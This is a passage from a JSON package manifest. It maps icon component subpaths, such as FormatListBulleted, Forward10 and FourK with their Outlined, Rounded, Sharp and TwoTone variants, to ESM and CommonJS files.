\"import\": \"./FormatLineSpacingRounded.mjs\",\n      \"require\": \"./FormatLineSpacingRounded.js\",\n      \"default\": \"./FormatLineSpacingRounded.mjs\"\n    },\n    \"./FormatLineSpacingSharp\": {\n      \"import\": \"./FormatLineSpacingSharp.mjs\",\n      \"require\": \"./FormatLineSpacingSharp.js\",\n      \"default\": \"./FormatLineSpacingSharp.mjs\"\n    },\n    \"./FormatLineSpacingTwoTone\": {\n      \"import\": \"./FormatLineSpacingTwoTone.mjs\",\n      \"require\": \"./FormatLineSpacingTwoTone.js\",\n      \"default\": \"./FormatLineSpacingTwoTone.mjs\"\n    },\n    \"./FormatListBulleted\": {\n      \"import\": \"./FormatListBulleted.mjs\",\n      \"require\": \"./FormatListBulleted.js\",\n      \"default\": \"./FormatListBulleted.mjs\"\n    },\n    \"./FormatListBulletedAdd\": {\n      \"import\": \"./FormatListBulletedAdd.mjs\",\n      \"require\": \"./FormatListBulletedAdd.js\",\n      \"default\": \"./FormatListBulletedAdd.mjs\"\n    },\n    \"./FormatListBulletedOutlined\": {\n      \"import\": \"./FormatListBulletedOutlined.mjs\",\n      \"require\": \"./FormatListBulletedOutlined.js\",\n      \"default\": \"./FormatListBulletedOutlined.mjs\"\n    },\n    \"./FormatListBulletedRounded\": {\n      \"import\": \"./FormatListBulletedRounded.mjs\",\n      \"require\": \"./FormatListBulletedRounded.js\",\n      \"default\": \"./FormatListBulletedRounded.mjs\"\n    },\n    \"./FormatListBulletedSharp\": {\n      \"import\": \"./FormatListBulletedSharp.mjs\",\n      \"require\": \"./FormatListBulletedSharp.js\",\n      \"default\": \"./FormatListBulletedSharp.mjs\"\n    },\n    \"./FormatListBulletedTwoTone\": {\n      \"import\": \"./FormatListBulletedTwoTone.mjs\",\n      \"require\": \"./FormatListBulletedTwoTone.js\",\n      \"default\": \"./FormatListBulletedTwoTone.mjs\"\n    },\n    \"./FormatListNumbered\": {\n      \"import\": \"./FormatListNumbered.mjs\",\n      \"require\": \"./FormatListNumbered.js\",\n      \"default\": \"./FormatListNumbered.mjs\"\n    },\n    \"./FormatListNumberedOutlined\": {\n      \"import\": \"./FormatListNumberedOutlined.mjs\",\n      \"require\": \"./FormatListNumberedOutlined.js\",\n      \"default\": \"./FormatListNumberedOutlined.mjs\"\n    },\n    \"./FormatListNumberedRounded\": {\n      \"import\": \"./FormatListNumberedRounded.mjs\",\n      \"require\": \"./FormatListNumberedRounded.js\",\n      \"default\": \"./FormatListNumberedRounded.mjs\"\n    },\n    \"./FormatListNumberedRtl\": {\n      \"import\": \"./FormatListNumberedRtl.mjs\",\n      \"require\": \"./FormatListNumberedRtl.js\",\n      \"default\": \"./FormatListNumberedRtl.mjs\"\n    },\n    \"./FormatListNumberedRtlOutlined\": {\n      \"import\": \"./FormatListNumberedRtlOutlined.mjs\",\n      \"require\": \"./FormatListNumberedRtlOutlined.js\",\n      \"default\": \"./FormatListNumberedRtlOutlined.mjs\"\n    },\n    \"./FormatListNumberedRtlRounded\": {\n      \"require\": \"./FormatListNumberedRtlRounded.js\",\n      \"import\": \"./FormatListNumberedRtlRounded.mjs\",\n      \"default\": \"./FormatListNumberedRtlRounded.mjs\"\n    },\n    \"./FormatListNumberedRtlSharp\": {\n      \"require\": \"./FormatListNumberedRtlSharp.js\",\n      \"import\": \"./FormatListNumberedRtlSharp.mjs\",\n      \"default\": \"./FormatListNumberedRtlSharp.mjs\"\n    },\n    \"./FormatListNumberedRtlTwoTone\": {\n      \"require\": \"./FormatListNumberedRtlTwoTone.js\",\n      \"import\": \"./FormatListNumberedRtlTwoTone.mjs\",\n      \"default\": \"./FormatListNumberedRtlTwoTone.mjs\"\n    },\n    \"./FormatListNumberedSharp\": {\n      \"require\": \"./FormatListNumberedSharp.js\",\n      \"import\": \"./FormatListNumberedSharp.mjs\",\n      \"default\": \"./FormatListNumberedSharp.mjs\"\n    },\n    \"./FormatListNumberedTwoTone\": {\n      \"require\": \"./FormatListNumberedTwoTone.js\",\n      \"import\": \"./FormatListNumberedTwoTone.mjs\",\n      \"default\": \"./FormatListNumberedTwoTone.mjs\"\n    },\n    \"./FormatOverline\": {\n      \"require\": \"./FormatOverline.js\",\n      \"import\": \"./FormatOverline.mjs\",\n      \"default\": \"./FormatOverline.mjs\"\n    },\n    \"./FormatOverlineOutlined\": {\n      \"require\": \"./FormatOverlineOutlined.js\",\n      \"import\": \"./FormatOverlineOutlined.mjs\",\n      \"default\": \"./FormatOverlineOutlined.mjs\"\n    },\n    \"./FormatOverlineRounded\": {\n      \"require\": \"./FormatOverlineRounded.js\",\n      \"import\": \"./FormatOverlineRounded.mjs\",\n      \"default\": \"./FormatOverlineRounded.mjs\"\n    },\n    \"./FormatOverlineSharp\": {\n      \"require\": \"./FormatOverlineSharp.js\",\n      \"import\": \"./FormatOverlineSharp.mjs\",\n      \"default\": \"./FormatOverlineSharp.mjs\"\n    },\n    \"./FormatOverlineTwoTone\": {\n      \"require\": \"./FormatOverlineTwoTone.js\",\n      \"import\": \"./FormatOverlineTwoTone.mjs\",\n      \"default\": \"./FormatOverlineTwoTone.mjs\"\n    },\n    \"./FormatPaint\": {\n      \"require\": \"./FormatPaint.js\",\n      \"import\": \"./FormatPaint.mjs\",\n      \"default\": \"./FormatPaint.mjs\"\n    },\n    \"./FormatPaintOutlined\": {\n      \"require\": \"./FormatPaintOutlined.js\",\n      \"import\": \"./FormatPaintOutlined.mjs\",\n      \"default\": \"./FormatPaintOutlined.mjs\"\n    },\n    \"./FormatPaintRounded\": {\n      \"require\": \"./FormatPaintRounded.js\",\n      \"import\": \"./FormatPaintRounded.mjs\",\n      \"default\": \"./FormatPaintRounded.mjs\"\n    },\n    \"./FormatPaintSharp\": {\n      \"require\": \"./FormatPaintSharp.js\",\n      \"import\": \"./FormatPaintSharp.mjs\",\n      \"default\": \"./FormatPaintSharp.mjs\"\n    },\n    \"./FormatPaintTwoTone\": {\n      \"require\": \"./FormatPaintTwoTone.js\",\n      \"import\": \"./FormatPaintTwoTone.mjs\",\n      \"default\": \"./FormatPaintTwoTone.mjs\"\n    },\n    \"./FormatQuote\": {\n      \"import\": \"./FormatQuote.mjs\",\n      \"require\": \"./FormatQuote.js\",\n      \"default\": \"./FormatQuote.mjs\"\n    },\n    \"./FormatQuoteOutlined\": {\n      \"import\": \"./FormatQuoteOutlined.mjs\",\n      \"require\": \"./FormatQuoteOutlined.js\",\n      \"default\": \"./FormatQuoteOutlined.mjs\"\n    },\n    \"./FormatQuoteRounded\": {\n      \"import\": \"./FormatQuoteRounded.mjs\",\n      \"require\": \"./FormatQuoteRounded.js\",\n      \"default\": \"./FormatQuoteRounded.mjs\"\n    },\n    \"./FormatQuoteSharp\": {\n      \"import\": \"./FormatQuoteSharp.mjs\",\n      \"require\": \"./FormatQuoteSharp.js\",\n      \"default\": \"./FormatQuoteSharp.mjs\"\n    },\n    \"./FormatQuoteTwoTone\": {\n      \"import\": \"./FormatQuoteTwoTone.mjs\",\n      \"require\": \"./FormatQuoteTwoTone.js\",\n      \"default\": \"./FormatQuoteTwoTone.mjs\"\n    },\n    \"./FormatShapes\": {\n      \"import\": \"./FormatShapes.mjs\",\n      \"require\": \"./FormatShapes.js\",\n      \"default\": \"./FormatShapes.mjs\"\n    },\n    \"./FormatShapesOutlined\": {\n      \"import\": \"./FormatShapesOutlined.mjs\",\n      \"require\": \"./FormatShapesOutlined.js\",\n      \"default\": \"./FormatShapesOutlined.mjs\"\n    },\n    \"./FormatShapesRounded\": {\n      \"import\": \"./FormatShapesRounded.mjs\",\n      \"require\": \"./FormatShapesRounded.js\",\n      \"default\": \"./FormatShapesRounded.mjs\"\n    },\n    \"./FormatShapesSharp\": {\n      \"import\": \"./FormatShapesSharp.mjs\",\n      \"require\": \"./FormatShapesSharp.js\",\n      \"default\": \"./FormatShapesSharp.mjs\"\n    },\n    \"./FormatShapesTwoTone\": {\n      \"import\": \"./FormatShapesTwoTone.mjs\",\n      \"require\": \"./FormatShapesTwoTone.js\",\n      \"default\": \"./FormatShapesTwoTone.mjs\"\n    },\n    \"./FormatSize\": {\n      \"import\": \"./FormatSize.mjs\",\n      \"require\": \"./FormatSize.js\",\n      \"default\": \"./FormatSize.mjs\"\n    },\n    \"./FormatSizeOutlined\": {\n      \"import\": \"./FormatSizeOutlined.mjs\",\n      \"require\": \"./FormatSizeOutlined.js\",\n      \"default\": \"./FormatSizeOutlined.mjs\"\n    },\n    \"./FormatSizeRounded\": {\n      \"import\": \"./FormatSizeRounded.mjs\",\n      \"require\": \"./FormatSizeRounded.js\",\n      \"default\": \"./FormatSizeRounded.mjs\"\n    },\n    \"./FormatSizeSharp\": {\n      \"import\": \"./FormatSizeSharp.mjs\",\n      \"require\": \"./FormatSizeSharp.js\",\n      \"default\": \"./FormatSizeSharp.mjs\"\n    },\n    \"./FormatSizeTwoTone\": {\n      \"import\": \"./FormatSizeTwoTone.mjs\",\n      \"require\": \"./FormatSizeTwoTone.js\",\n      \"default\": \"./FormatSizeTwoTone.mjs\"\n    },\n    \"./FormatStrikethrough\": {\n      \"require\": \"./FormatStrikethrough.js\",\n      \"import\": \"./FormatStrikethrough.mjs\",\n      \"default\": \"./FormatStrikethrough.mjs\"\n    },\n    \"./FormatStrikethroughOutlined\": {\n      \"require\": \"./FormatStrikethroughOutlined.js\",\n      \"import\": \"./FormatStrikethroughOutlined.mjs\",\n      \"default\": \"./FormatStrikethroughOutlined.mjs\"\n    },\n    \"./FormatStrikethroughRounded\": {\n      \"require\": \"./FormatStrikethroughRounded.js\",\n      \"import\": \"./FormatStrikethroughRounded.mjs\",\n      \"default\": \"./FormatStrikethroughRounded.mjs\"\n    },\n    \"./FormatStrikethroughSharp\": {\n      \"require\": \"./FormatStrikethroughSharp.js\",\n      \"import\": \"./FormatStrikethroughSharp.mjs\",\n      \"default\": \"./FormatStrikethroughSharp.mjs\"\n    },\n    \"./FormatStrikethroughTwoTone\": {\n      \"require\": \"./FormatStrikethroughTwoTone.js\",\n      \"import\": \"./FormatStrikethroughTwoTone.mjs\",\n      \"default\": \"./FormatStrikethroughTwoTone.mjs\"\n    },\n    \"./FormatTextdirectionLToR\": {\n      \"require\": \"./FormatTextdirectionLToR.js\",\n      \"import\": \"./FormatTextdirectionLToR.mjs\",\n      \"default\": \"./FormatTextdirectionLToR.mjs\"\n    },\n    \"./FormatTextdirectionLToROutlined\": {\n      \"require\": \"./FormatTextdirectionLToROutlined.js\",\n      \"import\": \"./FormatTextdirectionLToROutlined.mjs\",\n      \"default\": \"./FormatTextdirectionLToROutlined.mjs\"\n    },\n    \"./FormatTextdirectionLToRRounded\": {\n      \"require\": \"./FormatTextdirectionLToRRounded.js\",\n      \"import\": \"./FormatTextdirectionLToRRounded.mjs\",\n      \"default\": \"./FormatTextdirectionLToRRounded.mjs\"\n    },\n    \"./FormatTextdirectionLToRSharp\": {\n      \"require\": \"./FormatTextdirectionLToRSharp.js\",\n      \"import\": \"./FormatTextdirectionLToRSharp.mjs\",\n      \"default\": \"./FormatTextdirectionLToRSharp.mjs\"\n    },\n    \"./FormatTextdirectionLToRTwoTone\": {\n      \"require\": \"./FormatTextdirectionLToRTwoTone.js\",\n      \"import\": \"./FormatTextdirectionLToRTwoTone.mjs\",\n      \"default\": \"./FormatTextdirectionLToRTwoTone.mjs\"\n    },\n    \"./FormatTextdirectionRToL\": {\n      \"require\": \"./FormatTextdirectionRToL.js\",\n      \"import\": \"./FormatTextdirectionRToL.mjs\",\n      \"default\": \"./FormatTextdirectionRToL.mjs\"\n    },\n    \"./FormatTextdirectionRToLOutlined\": {\n      \"require\": \"./FormatTextdirectionRToLOutlined.js\",\n      \"import\": \"./FormatTextdirectionRToLOutlined.mjs\",\n      \"default\": \"./FormatTextdirectionRToLOutlined.mjs\"\n    },\n    \"./FormatTextdirectionRToLRounded\": {\n      \"require\": \"./FormatTextdirectionRToLRounded.js\",\n      \"import\": \"./FormatTextdirectionRToLRounded.mjs\",\n      \"default\": \"./FormatTextdirectionRToLRounded.mjs\"\n    },\n    \"./FormatTextdirectionRToLSharp\": {\n      \"require\": \"./FormatTextdirectionRToLSharp.js\",\n      \"import\": \"./FormatTextdirectionRToLSharp.mjs\",\n      \"default\": \"./FormatTextdirectionRToLSharp.mjs\"\n    },\n    \"./FormatTextdirectionRToLTwoTone\": {\n      \"require\": \"./FormatTextdirectionRToLTwoTone.js\",\n      \"import\": \"./FormatTextdirectionRToLTwoTone.mjs\",\n      \"default\": \"./FormatTextdirectionRToLTwoTone.mjs\"\n    },\n    \"./FormatUnderlined\": {\n      \"require\": \"./FormatUnderlined.js\",\n      \"import\": \"./FormatUnderlined.mjs\",\n      \"default\": \"./FormatUnderlined.mjs\"\n    },\n    \"./FormatUnderlinedOutlined\": {\n      \"require\": \"./FormatUnderlinedOutlined.js\",\n      \"import\": \"./FormatUnderlinedOutlined.mjs\",\n      \"default\": \"./FormatUnderlinedOutlined.mjs\"\n    },\n    \"./FormatUnderlinedRounded\": {\n      \"require\": \"./FormatUnderlinedRounded.js\",\n      \"import\": \"./FormatUnderlinedRounded.mjs\",\n      \"default\": \"./FormatUnderlinedRounded.mjs\"\n    },\n    \"./FormatUnderlinedSharp\": {\n      \"require\": \"./FormatUnderlinedSharp.js\",\n      \"import\": \"./FormatUnderlinedSharp.mjs\",\n      \"default\": \"./FormatUnderlinedSharp.mjs\"\n    },\n    \"./FormatUnderlinedTwoTone\": {\n      \"require\": \"./FormatUnderlinedTwoTone.js\",\n      \"import\": \"./FormatUnderlinedTwoTone.mjs\",\n      \"default\": \"./FormatUnderlinedTwoTone.mjs\"\n    },\n    \"./Fort\": {\n      \"require\": \"./Fort.js\",\n      \"import\": \"./Fort.mjs\",\n      \"default\": \"./Fort.mjs\"\n    },\n    \"./FortOutlined\": {\n      \"import\": \"./FortOutlined.mjs\",\n      \"require\": \"./FortOutlined.js\",\n      \"default\": \"./FortOutlined.mjs\"\n    },\n    \"./FortRounded\": {\n      \"import\": \"./FortRounded.mjs\",\n      \"require\": \"./FortRounded.js\",\n      \"default\": \"./FortRounded.mjs\"\n    },\n    \"./FortSharp\": {\n      \"import\": \"./FortSharp.mjs\",\n      \"require\": \"./FortSharp.js\",\n      \"default\": \"./FortSharp.mjs\"\n    },\n    \"./FortTwoTone\": {\n      \"import\": \"./FortTwoTone.mjs\",\n      \"require\": \"./FortTwoTone.js\",\n      \"default\": \"./FortTwoTone.mjs\"\n    },\n    \"./Forum\": {\n      \"import\": \"./Forum.mjs\",\n      \"require\": \"./Forum.js\",\n      \"default\": \"./Forum.mjs\"\n    },\n    \"./ForumOutlined\": {\n      \"import\": \"./ForumOutlined.mjs\",\n      \"require\": \"./ForumOutlined.js\",\n      \"default\": \"./ForumOutlined.mjs\"\n    },\n    \"./ForumRounded\": {\n      \"import\": \"./ForumRounded.mjs\",\n      \"require\": \"./ForumRounded.js\",\n      \"default\": \"./ForumRounded.mjs\"\n    },\n    \"./ForumSharp\": {\n      \"import\": \"./ForumSharp.mjs\",\n      \"require\": \"./ForumSharp.js\",\n      \"default\": \"./ForumSharp.mjs\"\n    },\n    \"./ForumTwoTone\": {\n      \"import\": \"./ForumTwoTone.mjs\",\n      \"require\": \"./ForumTwoTone.js\",\n      \"default\": \"./ForumTwoTone.mjs\"\n    },\n    \"./Forward\": {\n      \"import\": \"./Forward.mjs\",\n      \"require\": \"./Forward.js\",\n      \"default\": \"./Forward.mjs\"\n    },\n    \"./Forward10\": {\n      \"import\": \"./Forward10.mjs\",\n      \"require\": \"./Forward10.js\",\n      \"default\": \"./Forward10.mjs\"\n    },\n    \"./Forward10Outlined\": {\n      \"import\": \"./Forward10Outlined.mjs\",\n      \"require\": \"./Forward10Outlined.js\",\n      \"default\": \"./Forward10Outlined.mjs\"\n    },\n    \"./Forward10Rounded\": {\n      \"import\": \"./Forward10Rounded.mjs\",\n      \"require\": \"./Forward10Rounded.js\",\n      \"default\": \"./Forward10Rounded.mjs\"\n    },\n    \"./Forward10Sharp\": {\n      \"import\": \"./Forward10Sharp.mjs\",\n      \"require\": \"./Forward10Sharp.js\",\n      \"default\": \"./Forward10Sharp.mjs\"\n    },\n    \"./Forward10TwoTone\": {\n      \"import\": \"./Forward10TwoTone.mjs\",\n      \"require\": \"./Forward10TwoTone.js\",\n      \"default\": \"./Forward10TwoTone.mjs\"\n    },\n    \"./Forward30\": {\n      \"import\": \"./Forward30.mjs\",\n      \"require\": \"./Forward30.js\",\n      \"default\": \"./Forward30.mjs\"\n    },\n    \"./Forward30Outlined\": {\n      \"import\": \"./Forward30Outlined.mjs\",\n      \"require\": \"./Forward30Outlined.js\",\n      \"default\": \"./Forward30Outlined.mjs\"\n    },\n    \"./Forward30Rounded\": {\n      \"import\": \"./Forward30Rounded.mjs\",\n      \"require\": \"./Forward30Rounded.js\",\n      \"default\": \"./Forward30Rounded.mjs\"\n    },\n    \"./Forward30Sharp\": {\n      \"import\": \"./Forward30Sharp.mjs\",\n      \"require\": \"./Forward30Sharp.js\",\n      \"default\": \"./Forward30Sharp.mjs\"\n    },\n    \"./Forward30TwoTone\": {\n      \"import\": \"./Forward30TwoTone.mjs\",\n      \"require\": \"./Forward30TwoTone.js\",\n      \"default\": \"./Forward30TwoTone.mjs\"\n    },\n    \"./Forward5\": {\n      \"import\": \"./Forward5.mjs\",\n      \"require\": \"./Forward5.js\",\n      \"default\": \"./Forward5.mjs\"\n    },\n    \"./Forward5Outlined\": {\n      \"import\": \"./Forward5Outlined.mjs\",\n      \"require\": \"./Forward5Outlined.js\",\n      \"default\": \"./Forward5Outlined.mjs\"\n    },\n    \"./Forward5Rounded\": {\n      \"import\": \"./Forward5Rounded.mjs\",\n      \"require\": \"./Forward5Rounded.js\",\n      \"default\": \"./Forward5Rounded.mjs\"\n    },\n    \"./Forward5Sharp\": {\n      \"import\": \"./Forward5Sharp.mjs\",\n      \"require\": \"./Forward5Sharp.js\",\n      \"default\": \"./Forward5Sharp.mjs\"\n    },\n    \"./Forward5TwoTone\": {\n      \"require\": \"./Forward5TwoTone.js\",\n      \"import\": \"./Forward5TwoTone.mjs\",\n      \"default\": \"./Forward5TwoTone.mjs\"\n    },\n    \"./ForwardOutlined\": {\n      \"require\": \"./ForwardOutlined.js\",\n      \"import\": \"./ForwardOutlined.mjs\",\n      \"default\": \"./ForwardOutlined.mjs\"\n    },\n    \"./ForwardRounded\": {\n      \"require\": \"./ForwardRounded.js\",\n      \"import\": \"./ForwardRounded.mjs\",\n      \"default\": \"./ForwardRounded.mjs\"\n    },\n    \"./ForwardSharp\": {\n      \"require\": \"./ForwardSharp.js\",\n      \"import\": \"./ForwardSharp.mjs\",\n      \"default\": \"./ForwardSharp.mjs\"\n    },\n    \"./ForwardToInbox\": {\n      \"require\": \"./ForwardToInbox.js\",\n      \"import\": \"./ForwardToInbox.mjs\",\n      \"default\": \"./ForwardToInbox.mjs\"\n    },\n    \"./ForwardToInboxOutlined\": {\n      \"require\": \"./ForwardToInboxOutlined.js\",\n      \"import\": \"./ForwardToInboxOutlined.mjs\",\n      \"default\": \"./ForwardToInboxOutlined.mjs\"\n    },\n    \"./ForwardToInboxRounded\": {\n      \"require\": \"./ForwardToInboxRounded.js\",\n      \"import\": \"./ForwardToInboxRounded.mjs\",\n      \"default\": \"./ForwardToInboxRounded.mjs\"\n    },\n    \"./ForwardToInboxSharp\": {\n      \"require\": \"./ForwardToInboxSharp.js\",\n      \"import\": \"./ForwardToInboxSharp.mjs\",\n      \"default\": \"./ForwardToInboxSharp.mjs\"\n    },\n    \"./ForwardToInboxTwoTone\": {\n      \"require\": \"./ForwardToInboxTwoTone.js\",\n      \"import\": \"./ForwardToInboxTwoTone.mjs\",\n      \"default\": \"./ForwardToInboxTwoTone.mjs\"\n    },\n    \"./ForwardTwoTone\": {\n      \"require\": \"./ForwardTwoTone.js\",\n      \"import\": \"./ForwardTwoTone.mjs\",\n      \"default\": \"./ForwardTwoTone.mjs\"\n    },\n    \"./Foundation\": {\n      \"require\": \"./Foundation.js\",\n      \"import\": \"./Foundation.mjs\",\n      \"default\": \"./Foundation.mjs\"\n    },\n    \"./FoundationOutlined\": {\n      \"require\": \"./FoundationOutlined.js\",\n      \"import\": \"./FoundationOutlined.mjs\",\n      \"default\": \"./FoundationOutlined.mjs\"\n    },\n    \"./FoundationRounded\": {\n      \"require\": \"./FoundationRounded.js\",\n      \"import\": \"./FoundationRounded.mjs\",\n      \"default\": \"./FoundationRounded.mjs\"\n    },\n    \"./FoundationSharp\": {\n      \"require\": \"./FoundationSharp.js\",\n      \"import\": \"./FoundationSharp.mjs\",\n      \"default\": \"./FoundationSharp.mjs\"\n    },\n    \"./FoundationTwoTone\": {\n      \"require\": \"./FoundationTwoTone.js\",\n      \"import\": \"./FoundationTwoTone.mjs\",\n      \"default\": \"./FoundationTwoTone.mjs\"\n    },\n    \"./FourGMobiledata\": {\n      \"require\": \"./FourGMobiledata.js\",\n      \"import\": \"./FourGMobiledata.mjs\",\n      \"default\": \"./FourGMobiledata.mjs\"\n    },\n    \"./FourGMobiledataOutlined\": {\n      \"require\": \"./FourGMobiledataOutlined.js\",\n      \"import\": \"./FourGMobiledataOutlined.mjs\",\n      \"default\": \"./FourGMobiledataOutlined.mjs\"\n    },\n    \"./FourGMobiledataRounded\": {\n      \"require\": \"./FourGMobiledataRounded.js\",\n      \"import\": \"./FourGMobiledataRounded.mjs\",\n      \"default\": \"./FourGMobiledataRounded.mjs\"\n    },\n    \"./FourGMobiledataSharp\": {\n      \"require\": \"./FourGMobiledataSharp.js\",\n      \"import\": \"./FourGMobiledataSharp.mjs\",\n      \"default\": \"./FourGMobiledataSharp.mjs\"\n    },\n    \"./FourGMobiledataTwoTone\": {\n      \"require\": \"./FourGMobiledataTwoTone.js\",\n      \"import\": \"./FourGMobiledataTwoTone.mjs\",\n      \"default\": \"./FourGMobiledataTwoTone.mjs\"\n    },\n    \"./FourGPlusMobiledata\": {\n      \"require\": \"./FourGPlusMobiledata.js\",\n      \"import\": \"./FourGPlusMobiledata.mjs\",\n      \"default\": \"./FourGPlusMobiledata.mjs\"\n    },\n    \"./FourGPlusMobiledataOutlined\": {\n      \"require\": \"./FourGPlusMobiledataOutlined.js\",\n      \"import\": \"./FourGPlusMobiledataOutlined.mjs\",\n      \"default\": \"./FourGPlusMobiledataOutlined.mjs\"\n    },\n    \"./FourGPlusMobiledataRounded\": {\n      \"require\": \"./FourGPlusMobiledataRounded.js\",\n      \"import\": \"./FourGPlusMobiledataRounded.mjs\",\n      \"default\": \"./FourGPlusMobiledataRounded.mjs\"\n    },\n    \"./FourGPlusMobiledataSharp\": {\n      \"require\": \"./FourGPlusMobiledataSharp.js\",\n      \"import\": \"./FourGPlusMobiledataSharp.mjs\",\n      \"default\": \"./FourGPlusMobiledataSharp.mjs\"\n    },\n    \"./FourGPlusMobiledataTwoTone\": {\n      \"require\": \"./FourGPlusMobiledataTwoTone.js\",\n      \"import\": \"./FourGPlusMobiledataTwoTone.mjs\",\n      \"default\": \"./FourGPlusMobiledataTwoTone.mjs\"\n    },\n    \"./FourK\": {\n      \"require\": \"./FourK.js\",\n      \"import\": \"./FourK.mjs\",\n      \"default\": \"./FourK.mjs\"\n    },\n    \"./FourKOutlined\": {\n      \"require\": \"./FourKOutlined.js\",\n      \"import\": \"./FourKOutlined.mjs\",\n      \"default\": \"./FourKOutlined.mjs\"\n    },\n    \"./FourKPlus\": {\n      \"require\": \"./FourKPlus.js\",\n      \"import\": \"./FourKPlus.mjs\",\n      \"default\": \"./FourKPlus.mjs\"\n    },\n    \"./FourKPlusOutlined\": {\n      \"require\": \"./FourKPlusOutlined.js\",\n      \"import\": \"./FourKPlusOutlined.mjs\",\n      \"default\": \"./FourKPlusOutlined.mjs\"\n    },\n    \"./FourKPlusRounded\": {\n      \"require\": \"./FourKPlusRounded.js\",\n      \"import\": \"./FourKPlusRounded.mjs\",\n      \"default\": \"./FourKPlusRounded.mjs\"\n    },\n    \"./FourKPlusSharp\": {\n      \"require\": \"./FourKPlusSharp.js\",\n      \"import\": \"./FourKPlusSharp.mjs\",\n      \"default\": \"./FourKPlusSharp.mjs\"\n    },\n    \"./FourKPlusTwoTone\": {\n      \"require\": \"./FourKPlusTwoTone.js\",\n      \"import\": \"./FourKPlusTwoTone.mjs\",\n      \"default\": \"./FourKPlusTwoTone.mjs\"\n    },\n    \"./FourKRounded\": {\n      \"require\": \"./FourKRounded.js\",\n      \"import\": \"./FourKRounded.mjs\",\n      \"default\": \"./FourKRounded.mjs\"\n    },\n    \"./FourKSharp\": {\n      \"import\": \"./FourKSharp.mjs\",\n      \"require\": \"./FourKSharp.js\",\n      \"default\": \"./FourKSharp.mjs\"\n    },\n    \"./FourKTwoTone\": {\n      \"import\": \"./FourKTwoTone.mjs\",\n      \"require\": \"./FourKTwoTone.js\",\n      \"default\": \"./FourKTwoTone.mjs\"\n    },\n    \"./FourMp\": {\n      \"import\": \"./FourMp.mjs\",\n      \"require\": \"./FourMp.js\",\n      \"default\": \"./FourMp.mjs\"\n    },\n    \"./FourMpOutlined\": {\n      \"import\": \"./FourMpOutlined.mjs\",\n      \"require\": \"./FourMpOutlined.js\",\n      \"default\": \"./FourMpOutlined.mjs\"\n    },\n    \"./FourMpRounded\": {\n      \"import\": \"./FourMpRounded.mjs\",\n      \"require\": \"./FourMpRounded.js\",\n      \"default\": \"./FourMpRounded.mjs\"\n    },\n    \"./FourMpSharp\": {\n      \"import\": \"./FourMpSharp.mjs\",\n      \"require\": \"./FourMpSharp.js\",\n      \"default\": \"./FourMpSharp.mjs\"\n    },\n    \"./FourMpTwoTone\": {\n      \"import\": \"./FourMpTwoTone.mjs\",\n      \"require\": \"./FourMpTwoTone.js\",\n      \"default\": \"./FourMpTwoTone.mjs\"\n    },\n    \"./FourteenMp\": {\n      \"import\": \"./FourteenMp.mjs\",\n      \"require\": \"./FourteenMp.js\",\n      \"default\": \"./FourteenMp.mjs\"\n    },\n    \"./FourteenMpOutlined\": {\n      \"import\": \"./FourteenMpOutlined.mjs\",\n      \"require\": \"./FourteenMpOutlined.js\",\n      \"default\": \"./FourteenMpOutlined.mjs\"\n    },\n    \"./FourteenMpRounded\": {\n      \"import\": \"./FourteenMpRounded.mjs\",\n      \"require\": \"./FourteenMpRounded.js\",\n      \"default\": \"./FourteenMpRounded.mjs\"\n    },\n    \"./FourteenMpSharp\": {\n      \"import\": \"./FourteenMpSharp.mjs\",\n      \"require\": \"./FourteenMpSharp.js\",\n      \"default\": \"./FourteenMpSharp.mjs\"\n    },\n    \"./FourteenMpTwoTone\": {\n      \"import\": \"./FourteenMpTwoTone.mjs\",\n      \"require\": \"./FourteenMpTwoTone.js\",\n      \"default\": \"./FourteenMpTwoTone.mjs\"\n    },\n    \"./FreeBreakfast\": {\n      \"import\": \"./FreeBreakfast.mjs\",\n      \"require\": \"./FreeBreakfast.js\",\n      \"default\": \"./FreeBreakfast.mjs\"\n    },\n    \"./FreeBreakfastOutlined\": {\n      \"import\": \"./FreeBreakfastOutlined.mjs\",\n      \"require\": \"./FreeBreakfastOutlined.js\",\n      \"default\": \"./FreeBreakfastOutlined.mjs\"\n    },\n    \"./FreeBreakfastRounded\": {\n      \"import\": \"./FreeBreakfastRounded.mjs\",\n      \"require\": \"./FreeBreakfastRounded.js\",\n      \"default\": \"./FreeBreakfastRounded.mjs\"\n    },\n    \"./FreeBreakfastSharp\": {\n      \"import\": \"./FreeBreakfastSharp.mjs\",\n      \"require\": \"./FreeBreakfastSharp.js\",\n      \"default\": \"./FreeBreakfastSharp.mjs\"\n    },\n    \"./FreeBreakfastTwoTone\": {\n      \"import\": \"./FreeBreakfastTwoTone.mjs\",\n      \"require\": \"./FreeBreakfastTwoTone.js\",\n      \"default\": \"./FreeBreakfastTwoTone.mjs\"\n    },\n    \"./FreeCancellation\": {\n      \"import\": \"./FreeCancellation.mjs\",\n      \"require\": \"./FreeCancellation.js\",\n      \"default\": \"./FreeCancellation.mjs\"\n    },\n    \"./FreeCancellationOutlined\": {\n      \"import\": \"./FreeCancellationOutlined.mjs\",\n      \"require\": \"./FreeCancellationOutlined.js\",\n      \"default\": \"./FreeCancellationOutlined.mjs\"\n    },\n    \"./FreeCancellationRounded\": {\n      \"import\": \"./FreeCancellationRounded.mjs\",\n      \"require\": \"./FreeCancellationRounded.js\",\n      \"default\": \"./FreeCancellationRounded.mjs\"\n    },\n    \"./FreeCancellationSharp\": {\n      \"import\": \"./FreeCancellationSharp.mjs\",\n      \"require\": \"./FreeCancellationSharp.js\",\n      \"default\": \"./FreeCancellationSharp.mjs\"\n    },\n    \"./FreeCancellationTwoTone\": {\n      \"import\": \"./FreeCancellationTwoTone.mjs\",\n      \"require\": \"./FreeCancellationTwoTone.js\",\n      \"default\": \"./FreeCancellationTwoTone.mjs\"\n    },\n    \"./FrontHand\": {\n      \"import\": \"./FrontHand.mjs\",\n      \"require\": \"./FrontHand.js\",\n      \"default\": \"./FrontHand.mjs\"\n    },\n    \"./FrontHandOutlined\": {\n      \"import\": \"./FrontHandOutlined.mjs\",\n      \"require\": \"./FrontHandOutlined.js\",\n      \"default\": \"./FrontHandOutlined.mjs\"\n    },\n    \"./FrontHandRounded\": {\n      \"import\": \"./FrontHandRounded.mjs\",\n      \"require\": \"./FrontHandRounded.js\",\n      \"default\": \"./FrontHandRounded.mjs\"\n    },\n    \"./FrontHandSharp\": {\n      \"import\": \"./FrontHandSharp.mjs\",\n      \"require\": \"./FrontHandSharp.js\",\n      \"default\": \"./FrontHandSharp.mjs\"\n    },\n    \"./FrontHandTwoTone\": {\n      \"import\": \"./FrontHandTwoTone.mjs\",\n      \"require\": \"./FrontHandTwoTone.js\",\n      \"default\": \"./FrontHandTwoTone.mjs\"\n    },\n    